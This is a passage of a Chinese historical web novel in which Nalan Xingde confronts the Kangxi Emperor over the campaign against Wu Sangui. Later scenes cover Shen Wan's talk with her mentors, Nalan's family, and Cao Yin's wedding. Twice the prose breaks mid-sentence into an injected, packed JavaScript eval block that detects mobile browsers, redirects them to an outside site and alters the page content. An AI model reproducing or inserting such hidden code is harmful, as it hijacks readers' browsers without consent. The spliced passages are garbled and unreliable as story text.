“冯延巳一生,官居高位却毫无政治才能,是葬送了南唐江山之人。阿玛明珠却是明谋善断,位高而自慎,时刻以大清江山为重、以皇上的千秋伟业为念,如何能跟‘朱颜瘦’的冯延巳相比较?” “冯延巳能够三罢三任宰相,完全在于南唐中主李璟对他的恩遇,敢问皇上:你任阿玛明珠为一品朝廷命官,看重的是他的能力还是他的谄媚之心?” 纳兰连连对康熙皇帝发问,明索二人皆惊。 “朕——”玄烨加重口气,“只是拿冯延巳的词句出来,警告明珠不要步了他的后尘。” “皇上要是连身边的重臣都不信任、认为阿玛明珠所言都是——假作善意的漂亮话,和缺乏远见的畏首畏尾之说,那么皇上到底想要一个什么样的满意结果?请皇上明示,臣当着皇上做《策论》。” “朕——”玄烨紧锁双眉,“想要彻底平藩。” “好!”纳兰胆大心细,“皇上在明索二人的争论之中进退两难,不是因为自己心中没主意,而是被一次次的功败垂成给动摇了志气。” “所以现在,皇上最要紧的就是找回面对三藩的勇气和从长计议战略和战线。” “住口!”玄烨不悦,“朕有能耐自己做主,不必你把事事说仔细。” “臣要说,即便皇上不想听,臣也要阿玛明珠和索大人听个明白!” “纳兰性德,你敢抗旨?” “臣不是逞口舌之快、也不是质疑皇上的判断是否有失偏颇,只是心中积郁的东西太多太多,得有一个痛痛快快地吐出来的契机。” “你要是自己抗旨找死,就别怪朕无情!” “臣自知现在自己就是个跟落榜无别的闲人,除了跟在皇上身边、继续为皇上所用之外别无他选,是皇上亲手扼杀了臣的翰林梦。可如今吴三桂东山再起,皇上内心摇摆,只把气出在明珠和索额图身上,臣的确是看不下去。” “皇上要想平藩,就该采取‘引蛇出洞’的新策略,把伪周王朝的贼军都逼出南方,于江西或湖南处打陆战。皇上不要说安亲王和裕亲王曾经这么打过,吴三桂不会再度落网,当下的状况是:清军到南方作战必败已成事实,再艰难也要在吴三桂的都城里放把火,想方设法把贼军都引出来。” “臣不敢说‘自己替皇上想过了’这句话,只盼着君臣之间能够不谋而合——” “现在第一步,出兵汉中,驻扎营阵,陆军不但要习得骑射之术,更要熟悉西洋新术,像是可以观察敌情的望远镜,要尽快吩咐工部仿制出来,这比安排密探去刺探军报管用。第二步,不必对耿精忠和尚之信留情,计杀也好、猛擒也罢,吴三桂的左右臂必须砍断。第三步,激战,不顾一切截断吴三桂的后路和粮草军需,再不可对其有所放任,穷寇更要猛追。” 玄烨问:“你说完了?” 纳兰吐出几口气,胸口几经起伏:“臣该说的都说了。” “梁九功。”玄烨对外一吼。 “传朕的意思下去:纳兰性德失策在前、狡辩在后,目空一切,狂妄自大,逾越陪臣之责、干政贬君,当按‘目无法纪’之罪论!” 梁公公“扑通”一声跪下,“奴才惶恐,万岁爷您的旨意……是要奴才传往何处啊?” “那自然是刑部大牢!”索额图幸灾乐祸,“纳兰公子可是自己找罪受,皇上可没有错怪他。” 明珠摘下自己的顶戴花翎,跪地道:“容若并未失言,请皇上三思。” 玄烨指着纳兰,问明珠:“自上次花园不欢而散至今,你儿子不但没有反醒,反而学会擅闯养心殿来跟朕叫板了?朕的旨意在你儿子眼里,是比天边的白云还要轻、还要不足惧吗?” “你儿子说的头头是道,心里指不定是如何想着朕无能!之前官云辞来找朕,说要跟禹之鼎一起到西洋长见识,她那副不容置否的态度,跟你儿子是一模一样,让朕不得不怀疑是你儿子挑唆:让云禹二人进一步用行动来反衬朕不会治国!” 明珠冷汗布满额头。 “请皇上明察!容若去济国寺禅修数日,期间未找云辞格格和禹画师。” “朕准了官云辞和禹之鼎往外走,同时也警告他俩,如果敢不回大清,朕就——” 纳兰心寒,知道玄烨想说什么,打断道:“皇上,你的言行要是被列祖列宗看在眼里,只会叫他们失望!” “太祖皇帝、太宗皇帝、顺治皇帝对朕失望?” 玄烨发出阵阵冷笑。 “文治武功之外,他们就是败在一个‘情’上!朕亲政以来,只重江山不重美人,针砭时弊铲除昏佞,重农重商重教化,开漕开河开言路,政绩日益显著,偶遇败举,也是帝王生涯之中的不可避免,列祖列宗因何要怪朕?” 纳兰直言不讳:“他们是怪皇上刚愎自用,雄心还无法支撑的住野心!” 玄烨怒:“纳兰性德,你——!!” * 这时候,门外传来了慈宁宫的大太监李福连的声音:“太皇太后驾到,皇后娘娘驾到。” 索额图抢先道:“臣给老祖宗回话,明珠家的长公子目无臣纲,屡屡触犯君怒,故而皇上才下旨罚他。梁公公正准备去刑部大牢传皇上的话,明珠却护子心切,哀求不止。” “照你的意思,是我孝庄跟赫舍里皇后来的正是时候,该睁眼看看康熙皇帝如何行使帝王至高无上的权利吗?” “臣不敢。”索额图退到了一边。 孝庄圣懿道:“明珠索额图,你俩都退下。纳兰,你随苏嬷嬷回慈宁宫侧暖阁。皇上和皇后留下,我有话要说。” 等到人都散了,梁九功才跪问孝庄:“奴才请太皇太后明示,皇上要大惩纳兰公子的旨意,是传还是不传?” 孝庄冷问:“皇上你说呢?” 玄烨咬唇道:“纳兰有罪,但罪不至打入牢中领罚。朕看在他过往功劳的份上,小惩大诫就是。” “是。”梁九功松了口气,“奴才这就去告知纳兰公子和明珠大人,奴才告退。” * 孝庄坐在侧面,道:“皇上,国事上面我不想多做过问,只对你说一句话:吴三桂能用的办法和能使的招数都已尽施,你还年轻,要熬得过他,来日方长,清军必胜,三藩必平。” 在玄烨应了声“皇阿奶教诲的是”以后,孝庄继续道:“我的好儿媳赫舍里的产期渐近,皇上虽不能与皇后行房事,但也要多去坤宁宫看望才是。” 玄烨看着嫡妻隆起的腹部,心中忽然涌起了一股再为嫡子之父的自豪与感动。 他决定:这一次,自己无论如何都会保护好赫舍里和孩子,不让她们母子有一点闪失,不让爱新觉罗皇室子嗣再有添泪之事。 玄烨关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407200|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切道:“皇后安心养胎,坤宁宫中需要什么东西、什么人伺候,都尽数交待内务去办和去挑。后宫事务繁多,皇后不必事事亲躬,等生产过后、调理好了身子再替朕分忧不迟。” 赫舍里道:“有皇上惦记着,有老祖宗和惠妃妹妹帮着,臣妾放心。皇上国事当头,切不可过于意气用事、因敌而自乱君心;大清若想国运昌泰,政通人和不可少,但请皇上深思为君之道和处臣之道,勿要疏忽贤才、错择平庸。” “皇后所言极是。”玄烨心平气和,“朕会悉心为国,不失偏颇。” 孝庄换了话题:“皇上,纳兰编写的大型丛书《通志堂经解》即将完成,刻印之事已经交给最好的工匠,你怎么看?” “等到纳兰自己把刻本上呈到朕面前,朕自然会认真去看。”玄烨记起,“只是不知皇阿奶是否听闻:经典的主编之名,徐乾学多番在翰林院内自称要贤让给爱徒纳兰性德。” 孝庄敏锐道:“徐乾学有心行‘损人不利己’之事,皇上可不能糊涂。” 玄烨烦郁而急躁道:“让贤让贤,古来恩师为高徒成就名声之事不少,偏偏到了朕这一朝,就成了:明赞暗贬。纳兰年轻归年轻,二十岁前后能够呕心沥血编著一套巨著,本就是他的造化,丛书只署他的名字也无可厚非。” 玄烨侧身往桌案上的奏折处一指,“就是人心可憎,一旦‘成德主编’成为事实,朕就别想安宁。”玄烨连连摇头,“质疑纳兰和弹劾明珠的折子,必定像纸片一样像朕飞来。” 孝庄提醒:“皇上,我相信纳兰一定在想办法周全此事,你作为一国之君,是不是也该拿出魄力来:一为纳兰正名、二为本朝学坛正风向?” “朕是想给徐乾学敲个醒,这般张腔作势地‘成人之美’,也不嫌表现的太过太牵强?请皇阿奶意思,朕是否召徐乾学来见,当面叫他明醒朕意?” “皇上得忍着。风声已起树梢,人为之力如何能够叫风不吹?哪怕是作为天子,皇上也有奈何不了文臣的时候呀!” “任由署名之事发酵,不是跟皇阿奶所说的‘拿出魄力来’五个字背道而驰吗?” “皇上想想,认真想想——” 过了好了一阵子,有小太监进来传午膳的时候,康熙皇帝终于想明白了孝庄的苦心。 “在朕这一朝,《通志堂经解》正署名纳兰成德、侧兼署徐乾学可成定论。等到一位又一位接管大清江山的明君交替,他们要如何评价《经解》的价值、如何考证《经解》的编撰者,皆由得他们去论。” “是啊皇上。”孝庄目光长远,“你能为纳兰做的,无非是许他当世的平和与安好,至于百年之后,纳兰的声誉和评价又有谁知道呢?” “皇阿奶圣明。” 玄烨恭敬地请孝庄起身,与赫舍里皇后一同前往用膳处。 * 慈宁宫侧暖阁。 纳兰容若将心事说与自己信任的苏麻喇姑听。 “苏嬷嬷,我最爱吃您亲手做的点心。” 纳兰吃着一块芝麻馅儿的如意饼,“我知道皇上不会真叫我下狱,皇上的脾气发作够了,圣心自然就平静了,晓得接下来该干什么。” “殿试成绩由皇上钦点之后,公子也是在家中熬过了好些日子,苏嬷嬷我就怕——公子你好不容易走出来了,又叫皇上给兜了回去。” “我看得清:伴君如伴虎是真,忠君如坦直之犬也是真。受皇上制压、在忠孝之间夹杂,我能做的无非是对得住天子也对得住阿玛;为天下人所见、在才貌著作之间遭议,我能回应的只能是纳兰性德担得起‘浊世佳公子’的名声。” 纳兰豁达地笑了笑。 凡尘之间,进进出出,人在如意与失意中。 乾坤上下,起起落落,身处上风与下风间。 “公子接下来有什么打算?” “陪臣的身份没变过,我只当自己补殿试是走了一次多余的过场。往后我还是一样会到皇上身边去,不管皇上愿不愿意给我一个新官职。我手头还有编书的工程在收尾阶段,所以也会将学问做的尽善尽美。” “皇上这个年纪,最是想向天下证明自己的文治武功。”苏麻喇姑代为传达孝庄的意思,“公子若是在事先能出主意或是能劝,就不必拘束自己的身份,一切有老祖宗做后盾;公子若是在事后能给皇上的成就道喜、失败做挽,却是要千万个谨慎和惜己,老祖宗难做和事佬。” “是,纳兰记下了。” 纳兰在心中盘复: 这半天自己都干了什么? 一听闻阿玛和索额图被皇上召见,就担心阿玛会遭皇上忌惮而匆匆入宫,算不算是急躁了些?这以后呢,自己就这么谢过苏嬷嬷然后径直回家吗?回家以后该面对谁,阿玛还是妻妾…… 还不如去看看渌水池侧的荷花的好,花苞未带,有丝丝绿意生机便足以让自己心境平静。还有琉璃缸里的小金鱼,在荷池边观月赏日已有时日,自己有交待下人仔细投喂与照料,它们可还好? 盘中不落点心的酥皮和碎渣,只因纳兰修养好、品尝膳食的动作典雅。 听了苏麻喇姑的夸,纳兰谢过她的款待,便托她问候太皇太后、然后有礼貌地先行告辞。 【注1】 出南唐宰相、词人自冯延巳的《鹊踏枝》。 明珠官居相位,康熙皇帝曾拿冯延巳的恶评与恶行来警告他。 【注2】 专栏预收《放翁辞镜录·寻访冯延巳(探案)》 一句话简介:南宋第一爱猫家爱国诗人陆游x貌美聪慧文武双全侍女辞镜,透过冯延巳词集,破解10大天文气象奇案,揭示南唐灭亡原因和冯延巳的真实死因。 小天使们~求求收藏呀~ 126.第126章 从慈宁宫侧暖阁出来,容若行到一半,见到了惠妃娘娘身边的掌事宫女远黛。 给公子请了安以后,远黛道:“这番巧遇公子,不是惠妃娘娘的安排。奴才有话要跟公子说,公子这边请——” 容若站在一处宫墙的背影下,听见远黛道: “中宫皇后有喜期间,后宫看似风平浪静,实则六宫各人有各人的心思。汉人妃子表面上醉心琴棋书画、不争君宠,背地里也是借助太监之手,与汉人官僚之间多有利益往来。” “蒙古妃子额哲氏自打降了位分和走出别院之后,已经恩宠尽失、沦落为人人拜高踩低的存在,如此境遇从年后持续至今,难料是她为将消息托人带给噶尔丹汗,还是噶尔丹汗明知而不有所动,蓄力拖延来跟皇上算总账。” “还是咱们满人妃子安分,是个个跟惠妃娘娘一样盼着皇后娘娘好的。奴才从信得过的太医口中听得:皇后娘娘生第一胎后,有感染风寒,不可说是调理的好,落下的病根会影响这第二胎也未可知。所以,皇后娘娘这第二胎也是险。” 容若问:“皇上知道吗?” 远黛应:“皇后娘娘瞒着皇上。” 容若进一步确认:“这事还有谁知道?” 远黛肯定道:“只有信得过的太医、惠妃娘娘和奴才。” “我亦不晓得该不该叫太医去禀明太皇太后,毕竟这一胎关联的是赫舍里皇后和腹中孩子的两条命。” “公子应是心里有数,明党的太医要是给明珠大人回了话,明珠大人一定会叮嘱惠妃娘娘不必理会。况且现在赫舍里皇后看上去安泰的很,一点不像是身体有恙之态,可见她是真的不想让太皇太后和皇上分心。” “难呐。”容若靠在墙檐下,“我会回去为皇后母子祈求平安,远黛你去告诉惠妃娘娘,就说:后宫之路,闻喜闻悲,皇后之事,需慎且观,用心去体会她对皇嗣和对康熙皇帝的爱,用眼去体察她为了家族为了尊严的坚韧。此外,一概不可多言,不可挑破皇后苦心经营的壳。” “壳?”远黛微微皱眉。 “对皇后而言,既是执掌后宫、母仪天下的保护壳,也是尽责到底、完美到底的面具。” “惠妃娘娘亦说:‘端和凤仪、克己守礼、不可自然地流露出自己的情绪,只能坐在后宫的中主之位上:接受嫔妃们每日的请安、定期向太皇太后问安、当康熙皇帝那无可挑剔的嫡妻……这样的人生无趣的很、压抑的很。’ ” “后宫的女子都一样,皇后与妃嫔的区别,其实只有一点:那就是‘嫡妻’二字。原配嫡妻要是性格不好、管事不力、膝下无子,如何能够抓住康熙皇帝的心?不成为康熙皇帝最爱的女人,后位又要如何稳固?赫舍里皇后的压力,也正是来源于此。” “公子说的是。” “哦对了——”容若叮嘱道,“你叫惠妃娘娘随时留意着皇上的情绪,皇上情绪上头之时,叫她千万选择最妥当的方式来应对,不可柔韧鲜明。” “是,远黛会转告惠妃娘娘。” * 十五日后。 宋应星和张岱远行归来。 沈宛在济国寺的后山独栋屋中,备好了热水和饭菜来给两位长辈洗尘。 同时,她也收到了来自两位长辈的伴手礼。 宋应星送的是从有名古玩店买来的——出自唐代骞州名家“庄大山人”所制的茶碗;张岱送的是从民间古籍铺子里搜集来的——宋人所临摹的东晋大画家顾恺之的名作卷轴。 沈宛对此二物皆是感动与珍惜,深深言谢。 能得有价值的藏品,无疑是胜过“伊人红妆配饰”或是“远方食品特产”要来的有意义许多。 茶饭与沐浴过后,已是星夜。 三人一起坐在屋前的小院子里对月观星而聊。 宋应星摇着一把驱赶蚊虫的蒲扇,煞有介事道: “师傅向‘名声不亚于施道渊’的道家真人高祗虚询问了纳兰性德的前景,高真人说:‘公子将来,坎坷难料,情场有所伤,名利场更是有所累,在尘世之间的人生,不过剩下十载而已!’所以师傅认为,御婵你还是先远离纳兰性德几载的好。” “远离公子几载?”沈宛固然是不会听从,“这种莫失莫忘的感觉,师傅您认为我跟公子谁能熬得住?” 她只是觉得好笑,笑宋应星真信了那高祗虚的话。 ——别离,就能给自己带来福分或是给容若消灾吗? ——不相见,就能让自己不累情心或是令容若活的自在吗? 答案固然是否定的。 “江南山水能养人。”张岱道,“我跟宋公花重金礼请了高真人占卜,最终从其口中听得定论:‘宛姑娘应回江南小住,写词弹曲,涉水望山,自可与心上人得‘心有灵犀一点通’之好。否则纠缠不清、私会不止,终将事败,两两所伤。‘ ” “两两俱伤?” “高真人说,卦象显示:宛姑娘一生为纳兰性德所爱,却无法以‘妻’的身份为明珠大人和觉罗夫人所认可。甚至是宛姑娘所怀的孩子,也会被纳兰家所抱走,日后不与娘亲重逢。” “我不能信。” 沈宛的眼里闪过一缕惊、一缕愁、一缕坚韧。 “我只愿记下好的:自己跟容若有孩子,将来能够听见孩子叫:阿玛、娘亲。不分满汉、无关门第,我只要在京师有个自己的小院落,跟容若离得近、有得见就满足。” 沈宛声线温婉,盼切自己能与容若成家,成“别院风月细细长,书墨相催莫相忘”之家。 * 月偏星移,夜已深深。 地灯光芒渐减,蜡烛已削高为矮,唯有晚风,不改扰人意。 沈宛忽然问:“张岱先生可知道李商隐写的‘思念之最’的诗句是哪一句?” 张岱不假思索道:“自古以来,世人评价义山的极致相思之苦,都是这一句:远书归梦两悠悠,只有空床敌素秋。” “未必。” 沈宛向两位长辈表明,自己和容若一致所鉴,应是: 蓬山此去无多路,青鸟殷勤为探看。 玉珰缄札何由达?万里云罗一雁飞。 “相思与想念,思君却不知青鸟之所来所往、所探所见;耳环与丝帕,思君而不知托付大雁寄往何方。这次是最痛女子之心、最戳女子之伤、也最明女子之意的义山名句。” “我沈宛常常把自己比□□慕与相助李商隐的歌姬张懿仙,一来钦佩懿仙有情有义,二来希望自己跟懿仙的结局不同。若是我听了师傅和张岱先生你的话,不跟纳兰公子打声招呼就一走了之,那我真成了一个薄情寡义、会叫纳兰公子伤心一辈子的坏女子。” 宋应星问:“你觉得你跟纳兰性德说你要回江南,他真的会同意吗?他有他的脆弱和离不开,表面上放手的和言行间的大度,只是他的自我保护。” 沈宛道:“师傅至少应该给我一些考虑的时间吧?” 宋应星知道的清楚:“你做考虑最后的结果,必定是不肯走。” 沈宛表明心思:“师傅觉得御婵对容若的意义是什么?爱他并且为他所爱的女子吗?不止这些,御婵是一个在别人不知道的地方听他诉说心事、陪他梳理心情、与共他兴趣爱好的特别之人。” “纳兰有妻妾,他父亲明珠爱面子讲家族荣耀,一旦发现他儿子跟你情愫挥之不断,一定会通过各种手段赶斥你走。你不要指望纳兰会放弃所拥有的一切,跟你远走高飞、隐姓埋名。” “不近人情跟目光世俗是不同的。”沈宛道,“容若自小起,就被明珠按照汉人学制培养,不可不说明珠对儿子带有强烈的政治需要的目的。但师傅你要是说明珠管束容若的婚姻,着实太过。” “你何出此言?” “容若娶的侧室颜氏,是他喜欢的;娶的正妻卢氏,是太皇太后安排的。表面看上去是他听明珠的话,实际上都是他自己愿意,没有被明珠逼迫什么。” “纳兰说什么,你就信什么吗?”宋应星摇头,“纳兰不过是小心翼翼地美化父亲和维护父亲的权威罢了。明珠算不算是一个好官、一个好家长,纳兰自己比谁都明白。” “夜深了,师傅和张岱先生都回房歇下吧!”沈宛道,“离京之事,将来再说。在容若没有获得官职之前,我是不会走的。” 宋应星有些惊讶,“你想纳兰获得什么官职?明珠的位置够高了,康熙皇帝不可能再提拔他的儿子的,只会一辈子把纳兰留在近侧当陪臣,爱恨相磨。” “我不知道。”沈宛站立在月色之下,“只是听说连索额图的次子格尔芬经过四年当差,都快从二等侍卫晋升为一等侍卫了,容若不会连明珠的政敌的次子的官衔都不如吧?” 宋应星乐道:“即便纳兰是个文武全才,康熙皇帝要是让纳兰去当侍卫,那就是天下最大的笑话。” 张岱也是摆摆手道:“是啊是啊,不可能。纳兰的身子吃不消这么高强度、没自由的差事,除非康熙皇帝是有意不让他好过。” * 早晨。明府。 “儿啊,你主动去向皇上低个头。” 一家人一起吃饭的时候,明珠开口说了这么一句话。 容若看着明珠,“阿玛替我寻个认错的理由出来。” “阿玛是叫你低头不是叫你认错,你没错。你越是跟皇上较劲,皇上就越会变本加厉,你想过没有:皇上要是迁怒在惠儿身上、或是一个不高兴就将我明珠连降三级,你过意得去吗?” 容若在心里“嗯?”了一声,心志使然,不肯照做。 “儿在皇上面前还能称‘臣’吗?还能用一个‘我’字吗?还是自称奴才?”容若放下舀粥的勺子,胃口减半,“向皇上低头的身份,儿着实是不懂。” “你只要顺着皇上的心思说话、不说皇上不爱听或是不让你说的话,就已经是向皇上低头了。”明珠耐心道,“皇上顺心,前朝和后宫都能相安。” “下一步要怎么打吴三桂,儿已经跟皇上说清楚了,大不了是自己主动请战,死而后已。免得日渐沦落为一个阿谀奉承之人。” 觉罗氏劝道:“容若,你可千万别跟你阿玛赌气。皇上身边为什么要有宦官,是因为宦官起到了‘说好话’的作用。你的责任,是帮皇上看清前路和平衡各方面的利益关系呀!” 容若应道:“儿想做出角色转变,从一个君侧陪臣转变为报国之臣。“ “你这是什么话?皇上要是听见了,岂不是又要说你:埋怨君恩,自称束缚,大志不展?“明珠苦口婆心,”你现在的位置,有多少人羡慕不来,你是离大清皇帝最近的人,即便是受了不公对待,也要当作是雨露天恩。“ “是吗?“容若反问,”那明日阿玛与儿同去康熙皇帝面前低头。“ “你倒逼阿玛一起?”明珠沉下脸色,“你知道现在阿玛手头有多少事吗?你就不能体谅体谅阿玛的难处?” “反之,自殿试放榜过后,阿玛对儿可有当面寒暄过一句?责备没有,惋惜没有,期待也没有,阿玛的态度,明摆着是叫儿认命、继续重复一成不变的日子。” “你抗争的动吗?”明珠冷问,“你要是抗争不动,就不要再有所抱怨。” “所以儿才觉得心累。”容若道,“抗争不动,争取不得,到头来还要对皇上以‘谢恩’收场。” “你想得开就好。” 明珠对容若说不上放心,也说不上担心,只是对他抱着一份用心。 “不然呢?” 容若在心里作苦:跟皇上僵持下去,没谁好过,我也不得解脱。 觉罗氏对卢氏道:“尔谖,饭后你陪容若回房去,好好伴着他。额娘只希望容若在家能够好好的。” “是。”卢氏温声回应。 * 夜里,卢氏在房间内挑灯温茶、陪伴容若读书。 彼此安宁相伴,氛围静好。 与容若一起合被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414042|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而睡时,卢氏隔着一层淡淡的月影看容若的脸庞。 那是一种“平静中带着暂时的安宁、恬然中带着沉敛的聒噪”的感觉,他的呼吸平缓而匀称,稍稍靠近,就能从他身上寻的一种平和感。 卢氏眨了眨眼,终于鼓起勇气贴近了容若的脸,朝他落下一个吻。 她不知道容若有没有发觉,但她宁愿相信,容若是半醒而故作不知。 * 惠风和畅,人逢喜事精神爽。 曹寅迎娶顾大人之女顾芷清的日子即将来临,一向懂得人情世故的他,叩谢了指婚的康熙皇帝以后,又带着精心挑选绸缎好礼前去慈宁宫拜谢孝庄老祖宗。 “奴才曹寅,给太皇太后请安,太皇太后吉祥。” “起来吧!” “奴才知道太皇太后喜欢绸缎,所以叫人从织造局挑选了上等的浮光锦出来,进献给太皇太后。” 待苏麻喇姑把装绸缎的长方形盒子捧到孝庄面前,孝庄亲手打开盒子来看并且隔着护甲轻抚绸缎的时候,曹寅又介绍起来: “这上面的图样,是展翅的凤凰,凤凰的羽毛流光溢彩,恰好是将浮光锦的特点展现了出来,太皇太后日后穿上这匹料子制成的新衣,定是显气度又显威懿,膝下的孙辈小阿哥和小公主们,定是‘祖奶奶、祖奶奶……’地叫的欢快,奴才就想象着这样的场景:一家子其乐融融,您这位大长辈笑的合不拢嘴。” 孝庄心情大好,边听边笑,仿佛已经身临其境。 曹寅继续道: “太皇太后您看,这浮光锦的织工不易、一针一线都是织造局里最有经验的工匠夜以继日地来完成的,换做是机器,哪能有这样的好观感和好手感?奴才虽然还未上任江宁织造,但也时刻不忘太皇太后的嘱托和期望,步步知悉织造局里面经营方式和人事编排,发誓做个不辜负大任之人!” 孝庄夸赞道:“曹寅,每次你出现在我面前,除了来传情报和为友解围之外,都是乐观积极,叫我见了你听你说话就笑口常开。难为你了。” “奴才誓死效忠太皇太后。”曹寅不改初心,“曹家能从王府包衣晋升为内务府包衣,阿玛曹玺能从王府护卫被提拔为内廷二等侍卫,奴才能够当皇上的伴读,全部都是依托太皇太后的恩典。奴才一辈子谨记,一辈子不敢忘。” “是啊,都是缘分深。” 孝庄回忆起来: 明珠的夫人觉罗氏是阿济格的女儿,曹寅之父曹玺的夫人是阿济格门下的包衣孙氏,后来孙氏成了玄烨的乳母。曹玺办事干练,获赠“一品尚书”头衔;曹寅聪慧机灵,年仅十七岁就成了玄烨身边的御前侍卫。 曹家跟皇室的渊源,可谓是越来越深。 孝庄看着已经一表人材的曹寅,道:“你娶妻之后,就是个早晚要当阿玛的人,可要好好对待顾氏姑娘啊!” 曹寅感激道:“奴才以前不敢想自己会娶何处出身、有何修养、样貌如何的姑娘,现在这桩亲事最是合适!顾氏出身官宦人家、能懂文墨知晓商道、亭亭玉立,无论是哪一点,曹顾两家都是般配的。奴才答应太皇太后,娶了顾氏之后,不管是在京师生活、还是以后去江南,都会与她恩爱始终。” “老祖宗我,就是盼着你们这些离皇上离的近的人,都能娶得贤妻、婚后生活谐美。”孝庄笑道,“像是功名利禄,真不如一段刻骨铭心的感情来的实际。” “奴才明白。”曹寅道,“从太宗皇帝到顺治皇帝、再到康熙皇帝,太皇太后见证了三朝皇帝的感情,最是明白感情滋味。” 孝庄语重心长道: “我在你这个年纪的时候,只懂得自己是蒙古科尔沁出身的格格,一切对皇太极的好,都是为了我的亲族利益。后来我才明白,皇太极喜欢的是没有心机、对爱纯粹而执着的女子,哪怕是那个女子才貌都不出众、性格也不够端庄大度,他就是喜欢,那个女子就是我的姐姐海兰珠。” “反之你看看顾氏姑娘,她跟我和海兰珠都不同。她现在一心一意就只爱你一个人,心思纯粹兼具才德的姑娘最是难得,皇上把她指给你,看重的就是她的性子适合你、为你持家和为你答谢宾客的事情,她也做的来。” “所以曹寅,你比纳兰幸运。你娶的正妻顾氏,她与你一对可食人间烟火、可有嬉笑怒骂、可游山玩水的夫妻;而纳兰娶的正妻卢氏,她与他不得不做一对为世人所羡慕、所称颂、所记忆的伴侣。” “太皇太后慧眼识辨,奴才和纳兰都自愧弗如。” “我只是比你们都多活了一把岁数而已,看的多了、心里就有数了。” 孝庄端起桌上的一盏茶,轻抿了一口。 ——年轻人,都是需要情场历练的,这一关闯过去了,日后遇见什么难关都不怕。 孝庄微笑,期待将来,万事皆好。 “奴才今日谢太皇太后教诲。奴才告退。” “好,你回去吧。”孝庄叫了宫里的掌事太监去送曹寅,“你成亲当日,我自会叫李福连李公公前去你府上道贺。” “多谢太皇太后!” 曹寅心中,万般感激。 * 曹寅从慈宁宫出来,忽然从侍卫营的同僚口中听得一个消息: “不知道明珠大人和纳兰公子想要跟皇上说了什么,皇上把养心殿内的太监宫女都屏退了,总管大太监顾问行才从里面出来,就看见了前来求见的蒙古妃子融贵人。” “顾公公跟融贵人说了一句话:‘娘娘好自为之吧!福祸相依,是祸躲不过。’之后融贵人就抹着眼泪回去了。曹侍卫你说,这是怎么回事?” “这我可不敢乱猜。”曹寅推测,“要么是噶尔丹汗趁吴三桂逆袭清军之事,想要谋反;要么是融贵人谋害皇后或是皇嗣,被谁揭发到了皇上面前。” 侍卫营的同僚道:“万一是二者皆属实呢?” 曹寅眉头一皱,小声道:“那就是非同小可的、值得康熙皇帝大动干戈的大事了!” 127.第127章 曹寅娶妻当日,纳兰容若、索二公子格尔芬、官云辞和禹之鼎等人,早早来曹家道喜。 容若看见: 曹寅穿着一身用料考究的红色刺绣吉服,头戴一顶金色丝络装饰的吉帽、脚穿一对高筒乌靴,整个人看起来格外元气和精神。 曹寅的腰间,挂着两个太皇太后赏赐的精致双荷包,取了“感情如并蒂莲,长长久久”的好寓意,可见孝庄对这桩姻缘的重视;曹寅的左手拇指之上,扣着一个康熙皇帝赏赐的玉扳指,在明媚的光影中熠熠生辉,好似将他的身份抬高到了贝勒一样。 “子清大喜呀!” 容若上前,热情道贺。 “喜宴有你,我亦是高兴的很,不求与你同醉,但求与你尽兴!” 曹寅拍着纳兰的手臂。 慈宁宫的大太监李福连到来,那李公公眼睛倒是雪亮,瞧见曹寅的腰间配饰后,满脸堆笑道: “太皇太后派了奴才前来跟曹侍卫贺喜,祝曹侍卫和顾家小姐百年好合、永结同心、早生贵子。奴才带来了太皇太后的恩赏,乃是一对玉如意、一对白玉龙凤瓶、一盒枣蜜藕粉糕。还请曹侍卫喜纳。” 说着,李公公击掌三声,就有三个他的徒弟小太监捧了宝物和点心进来,一一放在了正厅之中的显眼位置。 “曹寅谢太皇太后恩典!祝太皇太后圣康安泰,祝大清国运昌盛。” 在新郎官的谢恩语中,众宾客纷纷拍手相和,也是一面感慨太皇太后的有心、一面为新郎新娘举杯祝福。 “有劳李公公走这一趟差事了。”曹寅塞给李福连一封大利是,“李公公辛苦,千万要收下。” 见曹寅懂得人情世故,李福连客气道:“奴才谢曹侍卫体恤。往后曹侍卫在江南飞黄腾达、为大清办事,奴才只要是听闻了好消息,就没有不为曹侍卫和顾家小姐高兴的。” “接李公公吉言,我曹寅的福气都是皇上和太皇太后给的。” 曹寅拉李福连到一边,小声询问: “我见侍卫营的同僚们多有出动,自己却没有收到调遣,竟不知是皇上照顾我大婚给我安排了休假,还是有不适宜我参加之事……李公公,您跟顾总管走得近,可有从顾总管口中听到什么风声?” “曹侍卫,这你就问对人了。”李福连勾起嘴角一笑。 曹寅见状,又反应迅速地给李公公多加了一封利是。 “奴才见顾总管多去敬事房那边走动,一打听,原是顾总管传了皇上的意思,把接下来一个月皇上要临幸哪位嫔妃、都排布和交待了一个仔细。奴才还想着:要不要到太皇太后跟前去,夸夸皇上家国并重、恩泽六宫呢。” 曹寅闻讯小惊:“还请李公公明示,皇上分恩各宫嫔妃雨露之举,跟侍卫营的人多有出动……有何关系啊?” 李福连晃了晃中指,意思是自己接下来要说的话,句句都是重点。 “曹侍卫,皇上唯独没有翻蒙古妃子额哲氏的牌子,这说明什么?皇上怕是要拿额哲氏作为一个导火索,来对噶尔丹开火了。所以侍卫营上下才严阵以待,增加了出勤次数、扩大了巡查范围,可不就是在保护整个皇宫的安全吗?” “多谢李公公告知。” “曹侍卫客气。” 